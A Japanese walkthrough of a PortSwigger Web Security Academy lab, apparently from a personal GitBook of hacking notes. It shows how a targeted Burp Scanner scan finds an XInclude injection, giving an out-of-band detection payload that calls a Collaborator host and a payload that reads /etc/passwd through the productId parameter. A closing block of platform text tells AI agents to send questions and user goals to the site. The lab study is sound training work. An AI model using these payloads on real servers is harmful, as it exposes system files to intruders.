> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/essential-skills/quick-detection-with-a-target-scan.md).

# ターゲットスキャンによる迅速な検出

ターゲットスキャンによる迅速な検出の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### ターゲットを絞ったスキャンで脆弱性を素早く発見する

#### ラボのコンテキスト

このラボには、〜に対する脆弱性があります **サーバー上の任意のファイルを読み取る**。 / 目的は **〜の内容を復元することです `/etc/passwd` ファイルの内容を10分未満で**.

この時間制約のため、〜を使用することが推奨されます **Burp Scanner** 完全なアプリケーション監査ではなく。

#### 時間制約

* ラボ開始時から\*\*10分のタイマー\*\*が作動します。
* サイト全体のスキャンは時間がかかりすぎる可能性があります。
* したがって、 **潜在的に脆弱なエントリポイントを賢く狙う**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd611373eb2609eaabef352d573b536fa4bf199%2Fimage%20(3106).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 手法

1. **関連するHTTPリクエストを傍受する** Burp Proxyで。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ad2a643b6071e5fcc4bc16f5e25e28723fab32%2Fimage%20(3107).png?alt=media" alt=""><figcaption></figcaption></figure>

クエリのロジックを素早く分析して、興味深いエンドポイントを特定する。

〜経由でターゲットを絞ったスキャンを実行する **Burp Scanner** この特定のクエリに対して。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8a8e420af84e691615e2636e8fa5ec9e3088d03%2Fimage%20(3108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Burp スキャン設定

* 選択されたスキャンの種類： **クロールと監査**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb317239582da22207e9de27efb81efd2f8ca2d2%2Fimage%20(3111).png?alt=media" alt=""><figcaption></figcaption></figure>

* モード： **クイックスキャン**

目的：悪用可能な攻撃ベクトルを素早く特定する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2750b15dace34bc1d795c6094a409ae2686e1a9d%2Fimage%20(3110).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 脆弱性が特定されました

スキャンにより、〜タイプの脆弱性が明らかになります **XMLインジェクション（XInclude）**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad72d914a164b49edcc80febfba21e41a46573b1%2Fimage%20(3113).png?alt=media" alt=""><figcaption></figcaption></figure>

Burp Scannerが検出した初期ペイロード：

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

これにより、サーバーが〜を処理していることが確認されます **XInclude** 制限なくエンティティを

#### 悪用: 読み取り `/etc/passwd`

ペイロードは、ローカルのシステムファイルを含めるように変更されます：

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41d780c461593fcb9771b49b6635810406d8f5a2%2Fimage%20(3115).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/essential-skills/quick-detection-with-a-target-scan.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
